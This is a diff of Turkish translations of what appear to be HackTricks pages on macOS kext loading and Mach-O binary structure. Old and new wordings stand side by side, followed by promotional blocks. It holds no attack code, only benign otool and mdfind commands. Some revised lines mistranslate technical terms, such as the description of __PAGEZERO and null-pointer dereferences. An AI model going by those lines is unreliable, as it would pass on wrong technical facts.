* Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacak**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bunu yüklemek için bilgisayarın **yeniden başlatılması gerekmektedir**. * Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacak**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bilgisayarın yüklenmesi için **yeniden başlatılması gerekecektir**.
### Yükleme işlemi ### Yükleme Süreci
Catalina'da durum şöyleydi: **Doğrulama** işlemi **kullanıcı alanında** gerçekleşir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, çekirdeğe bir uzantı yüklemesini **istemek için çekirdeğe başvurabilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` Catalina'da böyleydi: **Doğrulama** sürecinin **userland**'da gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, uzantının yüklenmesini istemek için çekirdeğe başvurabilir: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** komut satırı arayüzü, bir uzantıyı yüklemek için **doğrulama** işlemini **başlatır** 1. **`kextutil`** cli, bir uzantının yüklenmesi için **doğrulama** sürecini **başlatır**
* Bir **Mach hizmeti** kullanarak **`kextd`** ile iletişim kurar. * Bir **Mach servisi** kullanarak **`kextd`** ile iletişim kuracaktır.
2. **`kextd`**, imza gibi birkaç şeyi kontrol eder 2. **`kextd`**, imza gibi birkaç şeyi kontrol edecek
* **`syspolicyd`** ile iletişim kurarak uzantının **yüklenip yüklenemeyeceğini kontrol eder**. * Uzantının **yüklenip yüklenemeyeceğini kontrol etmek** için **`syspolicyd`** ile iletişim kuracaktır.
3. **`syspolicyd`**, uzantı daha önce yüklenmediyse **kullanıcıya bir onay istemi** yapar. 3. **`syspolicyd`**, uzantı daha önce yüklenmediyse **kullanıcıya bir onay isteği gönderecektir**.
* **`syspolicyd`**, sonucu **`kextd`'ye bildirir**. * **`syspolicyd`**, sonucu **`kextd`'ye** bildirecektir
4. **`kextd`**, sonunda çekirdeğe uzantıyı **yüklemek için** izin verebilir 4. **`kextd`**, sonunda çekirdeğe uzantıyı yüklemesi için **talimat verebilecektir**
**`kextd`** kullanılamıyorsa, **`kextutil`** aynı kontrolleri yapabilir. Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri yapabilir.
## Referanslar ## Referanslar
@ -51,12 +51,12 @@ Catalina'da durum şöyleydi: **Doğrulama** işlemi **kullanıcı alanında** g
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin. * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin. * [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **beni takip edin**. * **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**.
* **Hacking hilelerinizi göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**. * **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
</details> </details>

View file

@ -2,23 +2,23 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin * [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details> </details>
## Temel Bilgiler ## Temel Bilgiler
Mac OS ikili dosyaları genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, aynı dosyada **çoklu mimarileri destekleyebilir**. Mac OS ikili dosyalar genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, **aynı dosyada birden fazla mimariyi destekleyebilir**.
Bu ikili dosyalar, temel olarak şu şekilde oluşan **Mach-O yapısını** takip eder: Bu ikili dosyalar genellikle **Mach-O yapısını** takip eder, bu yapının temel olarak şunlardan oluşur:
* Başlık * Başlık
* Yükleme Komutları * Yükleme Komutları
@ -26,7 +26,7 @@ Bu ikili dosyalar, temel olarak şu şekilde oluşan **Mach-O yapısını** taki
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>) ![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
## Yağ Başlık ## Yağlı Başlık
Dosyayı şu komutla arayın: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"` Dosyayı şu komutla arayın: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
@ -41,50 +41,50 @@ struct fat_header {
struct fat_arch { struct fat_arch {
cpu_type_t cputype; /* cpu belirleyici (int) */ cpu_type_t cputype; /* cpu belirleyici (int) */
cpu_subtype_t cpusubtype; /* makine belirleyici (int) */ cpu_subtype_t cpusubtype; /* makine belirleyici (int) */
uint32_t offset; /* bu nesne dosyasına göre dosya ofseti */ uint32_t offset; /* bu nesne dosyasına dosya ofseti */
uint32_t size; /* bu nesne dosyasının boyutu */ uint32_t size; /* bu nesne dosyasının boyutu */
uint32_t align; /* 2'nin üssü olarak hizalama */ uint32_t align; /* 2'nin üssü olarak hizalama */
}; };
</code></pre> </code></pre>
Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her bir mimarinin bir `fat_arch` yapısına sahip olduğu bilgileri içerir. Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her mimarinin bir `fat_arch` yapısına sahip olduğu baytları içerir.
Bunu şu şekilde kontrol edin: Şununla kontrol edin:
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls <pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
/bin/ls: 2 mimariye sahip Mach-O evrensel ikili dosya: [x86_64:Mach-O 64-bit çalıştırılabilir x86_64] [arm64e:Mach-O 64-bit çalıştırılabilir arm64e] /bin/ls: 2 mimariye sahip Mach-O evrensel ikili dosya: [x86_64:Mach-O 64-bit yürütülebilir x86_64] [arm64e:Mach-O 64-bit yürütülebilir arm64e]
/bin/ls (mimari x86_64 için): Mach-O 64-bit çalıştırılabilir x86_64 /bin/ls (mimari x86_64 için): Mach-O 64-bit yürütülebilir x86_64
/bin/ls (mimari arm64e için): Mach-O 64-bit çalıştırılabilir arm64e /bin/ls (mimari arm64e için): Mach-O 64-bit yürütülebilir arm64e
% otool -f -v /bin/ls % otool -f -v /bin/ls
Yağ başlıklar Yağlı başlıklar
fat_magic FAT_MAGIC fat_magic FAT_MAGIC
<strong>nfat_arch 2 <strong>nfat_arch 2
</strong><strong>mimari x86_64 </strong><strong>mimari x86_64
</strong> cputype CPU_TYPE_X86_64 </strong> cputype CPU_TYPE_X86_64
cpusubtype CPU_SUBTYPE_X86_64_ALL cpusubtype CPU_SUBTYPE_X86_64_ALL
capabilities 0x0 yetenekler 0x0
<strong> offset 16384 <strong> ofset 16384
</strong><strong> size 72896 </strong><strong> boyut 72896
</strong> align 2^14 (16384) </strong> hizalama 2^14 (16384)
<strong>mimari arm64e <strong>mimari arm64e
</strong> cputype CPU_TYPE_ARM64 </strong> cputype CPU_TYPE_ARM64
cpusubtype CPU_SUBTYPE_ARM64E cpusubtype CPU_SUBTYPE_ARM64E
capabilities PTR_AUTH_VERSION USERSPACE 0 yetenekler PTR_AUTH_VERSION USERSPACE 0
<strong> offset 98304 <strong> ofset 98304
</strong><strong> size 88816 </strong><strong> boyut 88816
</strong> align 2^14 (16384) </strong> hizalama 2^14 (16384)
</code></pre> </code></pre>
veya [Mach-O View](https://sourceforge.net/projects/machoview/) aracını kullanarak: veya [Mach-O View](https://sourceforge.net/projects/machoview/) aracını kullanarak:
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Genellikle 2 mimari için derlenen evrensel bir ikili dosya, yalnızca 1 mimari için derlenene göre **boyutunu ikiye katlar**. Genellikle 2 mimari için derlenen bir evrensel ikili dosya, yalnızca 1 mimari için derlenen bir dosyanın boyutunu **iki katına çıkarır**.
## **Mach-O Başlık** ## **Mach-O Başlık**
Başlık, dosyanın sihirli baytlarını ve hedef mimari hakkında bilgiler gibi dosya hakkında temel bilgiler içerir. Başlığı şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` Başlık, dosya hakkında temel bilgiler içerir, örneğin dosyayı Mach-O dosyası olarak tanımlayan sihirli baytlar ve hedef mimari hakkında bilgiler. Bu bilgileri şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c ```c
#define MH_MAGIC 0xfeedface /* the mach magic number */ #define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -111,11 +111,11 @@ uint32_t flags; /* flags */
uint32_t reserved; /* reserved */ uint32_t reserved; /* reserved */
}; };
``` ```
**Dosya türleri**: **Dosya Türleri**:
* MH\_EXECUTE (0x2): Standart Mach-O yürütülebilir dosyası * MH\_EXECUTE (0x2): Standart Mach-O yürütülebilir dosyası
* MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (yani .dylib) * MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (.dylib)
* MH\_BUNDLE (0x8): Bir Mach-O paketi (yani .bundle) * MH\_BUNDLE (0x8): Bir Mach-O paketi (.bundle)
```bash ```bash
# Checking the mac header of a binary # Checking the mac header of a binary
otool -arch arm64e -hv /bin/ls otool -arch arm64e -hv /bin/ls
@ -129,39 +129,39 @@ Veya [Mach-O View](https://sourceforge.net/projects/machoview/) kullanarak:
## **Mach-O Yükleme komutları** ## **Mach-O Yükleme komutları**
Bellekteki **dosyanın düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gereken **paylaşılan kütüphaneler** ayrıntılı olarak açıklanır. Talimatlar, binary'nin belleğe yükleme süreci hakkında dinamik yükleyici **(dyld)**'ye sağlanır. **Dosyanın bellekteki düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gerekli **paylaşılan kütüphaneler** detaylandırılır. Talimatlar, ikincil belleğe yüklenen ikili dosyanın yükleme süreci hakkında dinamik yükleyici **(dyld)** için sağlanır.
Kullanılan yapı, bahsedilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır: Kullanılan yapı, belirtilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır:
```objectivec ```objectivec
struct load_command { struct load_command {
uint32_t cmd; /* type of load command */ uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */ uint32_t cmdsize; /* total size of command in bytes */
}; };
``` ```
Sistem farklı şekillerde işlenen yaklaşık **50 farklı yükleme komutu** bulunmaktadır. En yaygın olanlar şunlardır: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`. Sistem farklı şekillerde işlediği yaklaşık **50 farklı yükleme komutu türü** bulunmaktadır. En yaygın olanlar şunlardır: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`.
### **LC\_SEGMENT/LC\_SEGMENT\_64** ### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %} {% hint style="success" %}
Temel olarak, bu tür Yükleme Komutu, ikili dosya çalıştırıldığında **Veri bölümünde belirtilen ofsetlere göre \_\_TEXT** (yürütülebilir kod) **ve \_\_DATA** (işlem için veri) **segmentlerinin nasıl yükleneceğini** tanımlar. Temelde, bu tür Yükleme Komutları, ikili dosya yürütüldüğünde **\_\_TEXT** (yürütülebilir kod) ve **\_\_DATA** (işlem için veri) **segmentlerini** yüklemenin **veri bölümünde belirtilen ofsetlere göre** nasıl yükleneceğini tanımlar.
{% endhint %} {% endhint %}
Bu komutlar, bir işlem çalıştırıldığında **sanal bellek alanına eşlenen segmentleri** tanımlar. Bu komutlar, bir işlemin yürütüldüğünde **sanal bellek alanına eşlenen segmentleri tanımlar**.
\_\_TEXT segmenti, bir programın yürütülebilir kodunu içeren ve işlem tarafından kullanılan verileri içeren \_\_DATA segmenti gibi **farklı türlerde segmentler** bulunmaktadır. Bu segmentler, Mach-O dosyasının veri bölümünde bulunur. **Farklı türlerde** segmentler bulunmaktadır, örneğin bir programın yürütülebilir kodunu içeren **\_\_TEXT** segmenti ve işlem tarafından kullanılan verileri içeren **\_\_DATA** segmenti. Bu **segmentler**, Mach-O dosyasının veri bölümünde bulunmaktadır.
**Her segment**, daha fazla **bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümlerle ilgili bilgileri** içerir. **Her segment**, daha fazla **bölünebilir** olan **birçok bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümler hakkında bilgi** içerir.
Başlıkta önce **segment başlığı** bulunur: Başlıkta önce **segment başlığını** bulursunuz:
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* 64 bit mimariler için */ <pre class="language-c"><code class="lang-c">struct segment_command_64 { /* 64-bit mimariler için */
uint32_t cmd; /* LC_SEGMENT_64 */ uint32_t cmd; /* LC_SEGMENT_64 */
uint32_t cmdsize; /* section_64 yapılarının sizeof'ını içerir */ uint32_t cmdsize; /* section_64 yapılarının boyutunu içerir */
char segname[16]; /* segment adı */ char segname[16]; /* segment adı */
uint64_t vmaddr; /* bu segmentin bellek adresi */ uint64_t vmaddr; /* bu segmentin bellek adresi */
uint64_t vmsize; /* bu segmentin bellek boyutu */ uint64_t vmsize; /* bu segmentin bellek boyutu */
uint64_t fileoff; /* bu segmentin dosya ofseti */ uint64_t fileoff; /* bu segmentin dosya ofseti */
uint64_t filesize; /* dosyadan eşlenecek miktar */ uint64_t filesize; /* dosyadan eşlenmesi gereken miktar */
int32_t maxprot; /* maksimum VM koruması */ int32_t maxprot; /* maksimum VM koruması */
int32_t initprot; /* başlangıç VM koruması */ int32_t initprot; /* başlangıç VM koruması */
<strong> uint32_t nsects; /* segmentteki bölüm sayısı */ <strong> uint32_t nsects; /* segmentteki bölüm sayısı */
@ -169,11 +169,11 @@ int32_t initprot; /* başlangıç VM koruması */
}; };
</code></pre> </code></pre>
Segment başlığı örneği: Segment başlığının örneği:
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu başlık, **ardından görünen bölüm başlıklarının sayısını** tanımlar: Bu başlık, **ardından görünen başlıkları olan bölümlerin sayısını** tanımlar:
```c ```c
struct section_64 { /* for 64-bit architectures */ struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */ char sectname[16]; /* name of this section */
@ -190,52 +190,54 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
uint32_t reserved3; /* reserved */ uint32_t reserved3; /* reserved */
}; };
``` ```
**Bölüm başlığı** örneği: Örnek **bölüm başlığı**:
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
Eğer **bölüm ofsetini** (0x37DC) + **mimarinin başladığı ofseti** (bu durumda `0x18000`) **eklerseniz**, `0x37DC + 0x18000 = 0x1B7DC` olur. Eğer **bölüm ofseti** (0x37DC) + **mimarinin başladığı ofset** eklenirse, bu durumda `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ayrıca **komut satırından** **başlık bilgilerini** almak da mümkündür: Ayrıca **başlık bilgilerini** **komut satırından** almak da mümkündür:
```bash ```bash
otool -lv /bin/ls otool -lv /bin/ls
``` ```
```markdown
Bu komut tarafından yüklenen yaygın bölümler: Bu komut tarafından yüklenen yaygın bölümler:
* **`__PAGEZERO`:** Bu, çekirdeğe **adres sıfırı**nı **okunamaz, yazılamaz veya yürütülemez** olarak **haritalamak** için talimat verir. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu da bu sayfada **okuma-yazma-yürütme haklarının olmadığını** gösterir. * **`__PAGEZERO`:** Çekirdeğe **adres sıfırı**nı **haritalamaması** için talimat verir, böylece bu sayfada **okunamaz, yazılamaz veya yürütülemez**. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu sayfada **okuma-yazma-yürütme hakları olmadığını** belirtir.
* Bu tahsis, **NULL işaretçi başvurusu açıklarını hafifletmek** için önemlidir. * Bu tahsis, **NULL işaretçi sızdırmazlıklarını hafifletmek** için önemlidir.
* **`__TEXT`**: **Okunabilir** ve **yürütülebilir** (yazılabilir değil) **yürütülebilir** **kod** içerir. Bu segmentin yaygın bölümleri: * **`__TEXT`**: **Okunabilir** ve **yürütülebilir** izinlere sahip **yürütülebilir** **kod** içerir (yazılabilir değil)**.** Bu segmentin yaygın bölümleri:
* `__text`: Derlenmiş ikili kod * `__text`: Derlenmiş ikili kod
* `__const`: Sabit veriler * `__const`: Sabit veri
* `__cstring`: Dize sabitleri * `__cstring`: Dize sabitleri
* `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde yer alır * `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde rol oynar
* **`__DATA`**: **Okunabilir** ve **yazılabilir** (yürütülemez) veriler içerir. * **`__DATA`**: **Okunabilir** ve **yazılabilir** verileri içerir (yürütülebilir değil)**.**
* `__data`: Başlatılmış global değişkenler * `__data`: Başlatılmış küresel değişkenler
* `__bss`: Başlatılmamış statik değişkenler * `__bss`: Başlatılmamış statik değişkenler
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler
* **`__LINKEDIT`**: "sembol, dize ve yerleştirme tablosu girişleri" gibi, bağlayıcı (dyld) için bilgiler içerir. * **`__LINKEDIT`**: Bağlayıcı için (dyld) "sembol, dize ve yer değiştirme tablosu girişleri" gibi bilgileri içerir.
* **`__OBJC`**: Objective-C çalışma zamanı tarafından kullanılan bilgiler içerir. Bu bilgiler aynı zamanda \_\_DATA segmentinde de bulunabilir, çeşitli \_\_objc\_\* bölümlerinde bulunur. * **`__OBJC`**: Objective-C çalışma zamanı tarafından kullanılan bilgileri içerir. Bu bilgiler ayrıca \_\_DATA segmentinde, çeşitli \_\_objc\_\* bölümlerinde de bulunabilir.
### **`LC_MAIN`** ### **`LC_MAIN`**
**entryoff** özniteliğinde giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (hafızada) **ikilinin tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütmesini başlatır. **entryoff özniteliğindeki** giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (bellekteki) **ikili tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütülmesini başlatır.
### **LC\_CODE\_SIGNATURE** ### **LC\_CODE\_SIGNATURE**
Macho-O dosyasının **kod imzası hakkında bilgi** içerir. Yalnızca **imza bloğuna işaret eden bir ofset** içerir. Bu genellikle dosyanın sonunda bulunur.\ Macho-O dosyasının **kod imzası hakkında bilgi** içerir. Yalnızca **imza bloğuna işaret eden bir ofset** içerir. Bu genellikle dosyanın sonunda bulunur.\
Ancak, bu bölüm hakkında bazı bilgilere [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) ulabilirsiniz. Ancak, bu bölümle ilgili bazı bilgileri [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) bulabilirsiniz.
### **LC\_LOAD\_DYLINKER** ### **LC\_LOAD\_DYLINKER**
Paylaşılan kitaplıkları işlem adres alanına eşleyen dinamik bağlayıcı yürütülebilirinin **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. Önemli bir nokta olarak, macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir. Paylaşılan kitaplıkları işlem adres alanına haritalayan dinamik bağlayıcı yürütülebilir dosyanın **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir.
### **`LC_LOAD_DYLIB`** ### **`LC_LOAD_DYLIB`**
Bu yükleme komutu, Mach-O ikilisinin gerektirdiği **dinamik kitaplık bağımlılığını tanımlar** ve **yükleyiciyi** (dyld) **bu kitaplığı yüklemesi ve bağlaması için yönlendirir**. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır. Bu yükleme komutu, **yükleme ve bağlama talimatı veren** **dinamik** **kitaplık** bağımlılığınııklar. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır.
* Bu yükleme komutu, gerçek bağımlı dinamik kitaplığı tanımlayan bir struct dylib içeren **`dylib_command`** türünde bir yapıdır: * Bu yükleme komutu, **gerçek bağımlı dinamik kitaplığı tanımlayan** bir yapı türü olan **`dylib_command`** yapısını içerir:
```
```objectivec ```objectivec
struct dylib_command { struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -250,9 +252,7 @@ uint32_t current_version; /* library's current version number */
uint32_t compatibility_version; /* library's compatibility vers number*/ uint32_t compatibility_version; /* library's compatibility vers number*/
}; };
``` ```
![](<../../../.gitbook/assets/image (558).png>) Ayrıca bu bilgiyi şu komutla da alabilirsiniz:
Bu bilgiyi ayrıca komut satırından da alabilirsiniz:
```bash ```bash
otool -L /bin/ls otool -L /bin/ls
/bin/ls: /bin/ls:
@ -260,32 +260,32 @@ otool -L /bin/ls
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0) /usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
``` ```
Potansiyel kötü amaçlı yazılım ile ilişkili bazı kütüphaneler şunlardır: Potansiyel kötü amaçlı yazılım ile ilişkili kütüphaneler şunlardır:
* **DiskArbitration**: USB sürücülerini izleme * **DiskArbitration**: USB sürücülerini izleme
* **AVFoundation:** Ses ve video yakalama * **AVFoundation:** Ses ve video yakalama
* **CoreWLAN**: Wifi taramaları. * **CoreWLAN**: Wifi taramaları.
{% hint style="info" %} {% hint style="info" %}
Bir Mach-O ikili dosyası, **LC\_MAIN**'de belirtilen adresten **önce** **çalıştırılacak** bir veya **daha fazla yapıcı** içerebilir.\ Bir Mach-O ikili dosyası, **LC\_MAIN** içinde belirtilen adresten **önce** **çalıştırılacak** bir veya **daha fazla** **kurucu** içerebilir.\
Herhangi bir yapıcının ofsetleri, **\_\_DATA\_CONST** segmentinin **\_\_mod\_init\_func** bölümünde tutulur. Herhangi bir kurucunun ofsetleri, **\_\_DATA\_CONST** segmentinin **\_\_mod\_init\_func** bölümünde tutulur.
{% endhint %} {% endhint %}
## **Mach-O Verileri** ## **Mach-O Verileri**
Dosyanın çekirdeğinde, yük komutları bölgesinde tanımlandığı gibi birkaç segmentten oluşan veri bölgesi bulunur. **Her segmentte birçok veri bölümü barındırılabilir**, her bölüm ise bir türe özgü kod veya veri içerir. Dosyanın çekirdeğinde, yükleme komutları bölgesinde tanımlanan birkaç segmentten oluşan veri bölgesi bulunmaktadır. **Her segmentte çeşitli veri bölümleri barındırılabilir**, her bölüm de bir türe özgü kod veya veri içerir.
{% hint style="success" %} {% hint style="success" %}
Veri, temel olarak yük komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısımdır. Veri, temelde yükleme komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısımdır.
{% endhint %} {% endhint %}
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>) ![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
Bu şunları içerir: Bu şunları içerir:
* **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgi içerir. * **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgileri tutar.
* **Sembol tablosu**: İkili tarafından kullanılan harici fonksiyonlar hakkında bilgi içerir * **Sembol tablosu**: İkili dosya tarafından kullanılan harici fonksiyonlar hakkındaki bilgileri içerir
* Ayrıca dahili fonksiyon, değişken adları ve daha fazlasını içerebilir. * Ayrıca dahili fonksiyonları, değişken isimlerini ve daha fazlasını içerebilir.
Bunu kontrol etmek için [**Mach-O View**](https://sourceforge.net/projects/machoview/) aracını kullanabilirsiniz: Bunu kontrol etmek için [**Mach-O View**](https://sourceforge.net/projects/machoview/) aracını kullanabilirsiniz:
@ -295,16 +295,18 @@ Veya komut satırından:
```bash ```bash
size -m /bin/ls size -m /bin/ls
